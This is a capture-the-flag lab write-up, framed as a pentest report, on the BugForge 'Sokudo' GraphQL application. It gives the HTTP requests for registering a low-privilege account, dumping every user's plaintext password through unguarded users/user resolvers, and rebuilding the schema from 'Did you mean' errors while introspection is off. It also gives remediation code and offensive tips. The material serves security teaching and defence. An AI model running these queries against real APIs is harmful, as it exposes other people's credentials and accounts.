BugForge — 2026.06.17

Sokudo: GraphQL Authorization Bypass via Introspection-Off Field Suggestions

BugForge GraphQL Authorization Bypass easy

Part 1: Pentest Report

Executive Summary

Sokudo is a React single-page typing application backed by an Express API with a GraphQL endpoint at /api/graphql (graphql-js / Apollo Server). The headline finding is a broken access control defect: the GraphQL users and user(id:) resolvers perform no authorization check, so any authenticated account, including a self-registered non-admin one, can read every user record. Because the User type exposes a selectable password field and those values are stored in cleartext, that single query returns every account’s plaintext credentials, including the administrator’s. The administrator password is the flag.

Testing confirmed 3 findings:

ID Title Severity CVSS CWE Endpoint
F1 Broken access control on GraphQL users/user resolvers Critical 7.5 CWE-285, CWE-639 POST /api/graphql
F2 password selectable in schema and stored in plaintext High 6.5 CWE-256, CWE-312 POST /api/graphql
F3 Schema disclosure despite introspection disabled Low 4.3 CWE-200 POST /api/graphql

The flag-bearing finding is F1. A throwaway account registered through the open POST /api/register endpoint produced a low-privilege JWT, and a single { users { ... password } } query returned all five accounts. The administrator record (id=1) carried the flag as its password value. The REST equivalent /api/admin/users is correctly restricted to administrators; the GraphQL resolver serving the same data is not, which is the core of the defect.


Objective

Identify and exploit the web application vulnerability in the Sokudo lab (operator hint: GraphQL) and capture the flag.


Scope / Initial Access

# Target Application
URL: https://lab-1781652470323-v6rzkj.labs-app.bugforge.io/

# Auth details
Registration: POST /api/register {username,email,password,full_name} -> {token,user}
Login:        POST /api/login {username,password} -> {token,user}
Token:        JWT HS256, payload {id, username, iat} (no role claim)
Start state:  unauthenticated; registration is open and self-service

Registration is open and returns a signed JWT immediately. The token carries only identity (id, username, iat); it contains no role or privilege claim, so the server resolves a user’s role from the database by id rather than trusting a value in the token.


Reconnaissance: Reading the Front-End Bundle

The application surface was mapped from the React production bundle (main.8990091e.js) and a small set of authenticated probes against the API. The bundle named the GraphQL endpoint and the single operation the front end actually uses, which set the boundary between what the client calls and what the resolver layer exposes.

  1. The front end talks to a GraphQL endpoint at POST /api/graphql, and the only operation it issues is a logActivity mutation. Any other query or type in the schema is therefore reachable but unused by the client.
  2. The backend is Express (X-Powered-By: Express) with a GraphQL layer whose error wording matches graphql-js / Apollo Server.
  3. Two role-gated REST surfaces exist, /api/admin/users and /api/admin/sessions, both restricted to administrators. The user data behind /api/admin/users is the same data the GraphQL users resolver returns.
  4. The session JWT decodes to {id, username, iat} with no role claim, indicating server-side role resolution by id.
  5. GraphQL introspection is disabled, but the endpoint still answers field-level queries, so the schema can be probed indirectly.

Application Architecture

Component Detail
Backend Express (X-Powered-By: Express)
GraphQL graphql-js / Apollo Server at /api/graphql, introspection disabled
Frontend React single-page app (MUI), bundle main.8990091e.js
Auth JWT HS256, payload {id, username, iat}, no role claim
Database Not directly observable; returns plaintext password values

API Surface

Endpoint Method Auth Notes
/api/register POST No Open self-service registration, returns JWT
/api/login POST No Returns JWT
/api/verify-token GET JWT Returns current user
/api/graphql POST JWT (any) Vulnerable resolvers; introspection disabled
/api/admin/users GET Admin Restricted REST twin of the GraphQL users resolver
/api/admin/sessions GET Admin Restricted

Known Users

Username ID Role
admin 1 admin
speedtyper 2 user
learner 3 user
haxor (our account) 4 user
dt_probe1 5 user

Attack Chain Visualization

┌─────────────────────┐   ┌─────────────────────┐   ┌─────────────────────┐   ┌─────────────────────┐   ┌─────────────────────┐
│ Recon bundle        │   │ Register account    │   │ Reconstruct schema  │   │ Query users         │   │ Read admin pw       │
│ /api/graphql in JS  │──▶│ open; non-admin JWT │──▶│ suggestion errors   │──▶│ non-admin dumps 5   │──▶│ field = flag        │
└─────────────────────┘   └─────────────────────┘   └─────────────────────┘   └─────────────────────┘   └─────────────────────┘

Findings

F1: Broken access control on GraphQL users/user resolvers

Severity: Critical CVSS v3.1: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) CWE: CWE-285 (Improper Authorization), CWE-639 (Authorization Bypass Through User-Controlled Key) Endpoint: POST /api/graphql Authentication required: Yes (any valid JWT; registration is open and self-service)

Description

The users (list) and user(id: ID!) (single-record) Query resolvers perform no authorization check. Any authenticated account, including a self-registered non-admin one, can read every user record. The equivalent REST endpoint /api/admin/users is restricted to administrators; the GraphQL resolver serving the same data enforces no such restriction. The single-record path user(id: 1) is equally unguarded and returns the same administrator record by direct id lookup.

Impact

Any logged-in user can read every account, including the administrator’s credentials. Full cross-user credential disclosure.

Reproduction

Step 1: Register a throwaway account. The endpoint is open and returns a JWT.

POST /api/register HTTP/1.1
Host: lab-1781652470323-v6rzkj.labs-app.bugforge.io
Content-Type: application/json

{"username":"haxor","email":"[email protected]","password":"password","full_name":""}

Response: 200 OK with {"token":"eyJ...","user":{"id":4,...}}. The token decodes to {"id":4,"username":"haxor","iat":...}, role user.

Step 2: Query the users resolver with the low-privilege token.

POST /api/graphql HTTP/1.1
Host: lab-1781652470323-v6rzkj.labs-app.bugforge.io
Content-Type: application/json
Authorization: Bearer eyJ...

{"query":"{ users { id username email full_name role password } }"}

Response: 200 OK returning all five accounts. Our account is id=4, role user; the response also contains id=1, role admin. Two distinct privilege levels in one response confirm a genuine cross-user read, not a self-read.

{"data":{"users":[
 {"id":"1","username":"admin","role":"admin","password":"bug{WGa2tTdVjjwC9XaqgaFS71MEIvX63gNu}"},
 {"id":"2","username":"speedtyper","role":"user","password":"password123"},
 {"id":"3","username":"learner","role":"user","password":"learner456"},
 {"id":"4","username":"haxor","role":"user","password":"password"},
 {"id":"5","username":"dt_probe1","role":"user","password":"Passw0rd!23"}
]}}

Step 3 (alternate path, same root cause): the single-record resolver returns the same record by id.

POST /api/graphql HTTP/1.1
Host: lab-1781652470323-v6rzkj.labs-app.bugforge.io
Content-Type: application/json
Authorization: Bearer eyJ...

{"query":"{ user(id: 1) { username role password } }"}

Response: 200 OK returning the administrator record. Confirms the missing authorization check applies to both the list and single-record resolvers.

The administrator’s password value is the flag: bug{WGa2tTdVjjwC9XaqgaFS71MEIvX63gNu}.

Remediation

Fix 1: enforce an authorization check inside the resolver.

// BEFORE (Vulnerable) - no authorization check
const resolvers = {
  Query: {
    users: async () => db.user.findMany(),
    user: async (_, { id }) => db.user.findUnique({ where: { id } }),
  },
};

// AFTER (Secure) - require an authenticated admin context
const requireAdmin = (ctx) => {
  if (!ctx.user) throw new GraphQLError('Authentication required', { extensions: { code: 'UNAUTHENTICATED' } });
  if (ctx.user.role !== 'admin') throw new GraphQLError('Forbidden', { extensions: { code: 'FORBIDDEN' } });
};

const resolvers = {
  Query: {
    users: async (_, __, ctx) => { requireAdmin(ctx); return db.user.findMany(); },
    user: async (_, { id }, ctx) => {
      if (!ctx.user) throw new GraphQLError('Authentication required', { extensions: { code: 'UNAUTHENTICATED' } });
      // a user may read only their own record unless they are an admin
      if (ctx.user.role !== 'admin' && String(ctx.user.id) !== String(id)) {
        throw new GraphQLError('Forbidden', { extensions: { code: 'FORBIDDEN' } });
      }
      return db.user.findUnique({ where: { id } });
    },
  },
};

Additional recommendations:

  • Apply the same authorization rule to every resolver that returns user records, not just users. The REST and GraphQL layers enforce access control independently; a rule added to one does not cover the other.
  • Consider field-level authorization so sensitive fields stay gated even when a record is legitimately returned (see F2).

F2: password selectable in schema and stored in plaintext

Severity: High CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) CWE: CWE-256 (Plaintext Storage of a Password), CWE-312 (Cleartext Storage of Sensitive Information) Endpoint: POST /api/graphql (User type) Authentication required: Yes

Description

Two compounding defects:

  1. password is a selectable field on the GraphQL User type. A password field should never be exposed in the schema or returned by any resolver.
  2. The returned password values are plaintext, not hashes. This is evidenced by a round-trip: the haxor account was registered with the literal password password, and the users response returned password byte-identical for id=4. The other values (password123, learner456, Passw0rd!23) match no hash format. The values are stored in cleartext, not hashed at rest.

Impact

Cleartext exposure of every account’s credentials, including the administrator’s.

Reproduction

This finding is observed in the same response as F1. Selecting password on the User type resolves a value per user with no error or null:

POST /api/graphql HTTP/1.1
Host: lab-1781652470323-v6rzkj.labs-app.bugforge.io
Content-Type: application/json
Authorization: Bearer eyJ...

{"query":"{ users { username password } }"}

Response: each user object carries a password string. The account registered with password returns password unchanged, confirming no hashing at rest.

Remediation

Fix 1: remove password from the GraphQL schema entirely.

# BEFORE (Vulnerable)
type User {
  id: ID!
  username: String
  email: String
  full_name: String
  role: String
  password: String   # sensitive field should never be selectable
}

# AFTER (Secure)
type User {
  id: ID!
  username: String
  email: String
  full_name: String
  role: String
}

Fix 2: hash passwords at rest and never map them into a response object.

// BEFORE (Vulnerable) - plaintext at rest
await db.user.create({ data: { username, email, password } });

// AFTER (Secure) - salted hash, never returned to clients
const passwordHash = await bcrypt.hash(password, 12);
await db.user.create({ data: { username, email, passwordHash } });

Additional recommendations:

  • Store only a salted hash (bcrypt or argon2) and keep it out of every serialized API object.
  • If a credential value was ever exposed, treat all accounts as compromised and force a reset.

F3: GraphQL schema disclosure despite introspection disabled

Severity: Low CVSS v3.1: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) CWE: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) Endpoint: POST /api/graphql Authentication required: Yes

Description

Introspection is disabled: a { __schema ... } query is rejected with the graphql-js NoIntrospection error (“GraphQL introspection has been disabled, but the requested query contained the field __schema”). However, graphql-js field-suggestion error messages (“Did you mean …?”) leak real field and query names in response to near-miss guesses. The full schema was reconstructed without introspection: Query.users, Query.user(id: ID!), Query.activityLogs, and User.{id, username, email, full_name, role, password}.

Impact

An attacker can map the API surface even with introspection disabled. No direct data access on its own.

Reproduction

Step 1: confirm introspection is off.

POST /api/graphql HTTP/1.1
Host: lab-1781652470323-v6rzkj.labs-app.bugforge.io
Content-Type: application/json
Authorization: Bearer eyJ...

{"query":"{ __schema { types { name } } }"}

Response: error “GraphQL introspection has been disabled…”.

Step 2: harvest field names from suggestion errors.

POST /api/graphql HTTP/1.1
Host: lab-1781652470323-v6rzkj.labs-app.bugforge.io
Content-Type: application/json
Authorization: Bearer eyJ...

{"query":"{ activity { id } }"}

Response: error containing Did you mean "activityLogs"?. Repeating with near-miss guesses recovers users, user, and the User fields (passwrd resolves to password, roles to role, fullname to full_name or username).

Remediation

Fix 1: strip field suggestions from error messages in production.

// BEFORE (Vulnerable) - default graphql-js suggestions leak field names
const server = new ApolloServer({ typeDefs, resolvers });

// AFTER (Secure) - remove "Did you mean" hints from client-facing errors
const server = new ApolloServer({
  typeDefs,
  resolvers,
  formatError: (formattedError) => {
    if (/Did you mean/.test(formattedError.message)) {
      return { ...formattedError, message: 'Bad Request' };
    }
    return formattedError;
  },
});

Additional recommendations:

  • Disabling introspection hides the manual, not the data. The decisive fix is the resolver authorization in F1; schema obfuscation only raises the cost of mapping the API.
  • Consider a validation plugin (for example Apollo Armor) that blocks field suggestions and limits query depth and complexity.

OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: the GraphQL users and user(id:) resolvers return records to any authenticated user with no role check, while the REST twin /api/admin/users is restricted (F1).
  • A02:2021 Cryptographic Failures: passwords are stored and returned in cleartext rather than hashed (F2).
  • A04:2021 Insecure Design: exposing a selectable password field on the User type is a schema-design flaw independent of any authorization gap (F2).
  • A05:2021 Security Misconfiguration: introspection is disabled but field suggestions remain on, leaking the schema (F3).

Tools Used

Tool Purpose
Caido Proxy, request capture, and Replay for resolver queries
Browser dev tools Reading the React production bundle
JWT decoder Inspecting the session JWT payload
curl Sending raw GraphQL queries

References

  • CWE-285 Improper Authorization: https://cwe.mitre.org/data/definitions/285.html
  • CWE-639 Authorization Bypass Through User-Controlled Key: https://cwe.mitre.org/data/definitions/639.html
  • CWE-256 Plaintext Storage of a Password: https://cwe.mitre.org/data/definitions/256.html
  • CWE-312 Cleartext Storage of Sensitive Information: https://cwe.mitre.org/data/definitions/312.html
  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor: https://cwe.mitre.org/data/definitions/200.html
  • OWASP API Security Top 10: API1 Broken Object Level Authorization, API3 Broken Object Property Level Authorization

Part 2: Notes / Knowledge

Key Learnings

  • When GraphQL introspection is disabled, reconstruct the schema offline from field-suggestion errors; do not conclude the endpoint is hardened. Disabling introspection removes the schema manual, not the underlying data. graphql-js and Apollo answer a misspelled field with a “Did you mean …?” suggestion computed from the real schema, so near-miss guesses leak the genuine names. On this target a { __schema } query was rejected, yet sending { activity { id } }, { users { passwrd } }, and similar guesses rebuilt the whole schema (Query.users, user(id: ID!), and the User fields including password) with no introspection at all. Treat an introspection-off endpoint as a starting point for offline reconstruction, not a hardened one, and seed guesses close to likely names: plural and singular variants, camelCase and snake_case.

  • Test GraphQL resolvers with a low-privilege token, and test the GraphQL path even when the REST twin is admin-gated. REST middleware authorization and GraphQL resolver authorization are separate enforcement layers, and the resolver often skips the role check the REST route has. Always exercise the GraphQL path even when the matching REST endpoint is restricted to administrators, and do it with a low-privilege token rather than only unauthenticated. An unauthenticated 401 means the endpoint needs a token, not that it is secured. Here the admin-gated /api/admin/users looked locked down, but a self-registered non-admin token drove { users { ... password } } to a full dump. A selectable password, secret, token, or role field is a finding on sight, independent of any authorization gap.

  • When a JWT carries no role/privilege claim, skip role-forge and attack the server-side authorization lookup instead. When the session JWT carries only identity ({id, username, iat}) and no role, isAdmin, or scope claim, there is nothing to forge for privilege. Skip alg=none, role-tampering, and key-cracking aimed at escalation; the server resolves the role from the database by id, so the trust boundary is the server-side lookup, not the token. On this target that ruled out JWT forgery in seconds and pointed straight at the resolver authorization, which is where the actual defect was. Decode the token first: no privilege claim means the privilege decision lives server-side, so attack the endpoint and resolver checks (missing authorization, IDOR) instead.


Failed Approaches

Approach Result Why It Failed
JWT forgery for role escalation No role claim to modify The token holds only {id, username, iat}; the server resolves role from the database by id, so there is no privilege claim to tamper with
Re-enabling or bypassing introspection Unnecessary detour Field-suggestion errors already reconstruct the schema, so defeating the NoIntrospection rule adds nothing
OPTIONS / verb-matrix probing Uniform preflight across all routes Global CORS echoes the same methods on every route; no per-route divergence to exploit
activityLogs resolver Benign Returns only the telemetry the front end already writes via logActivity; no sensitive or cross-user data

Tags: #graphql #broken-access-control #idor #introspection-bypass #plaintext-credentials #bugforge Document Version: 1.0 Last Updated: 2026-06-17

#graphql #broken-access-control #authorization-bypass #introspection-bypass #plaintext-password #api-security #bugforge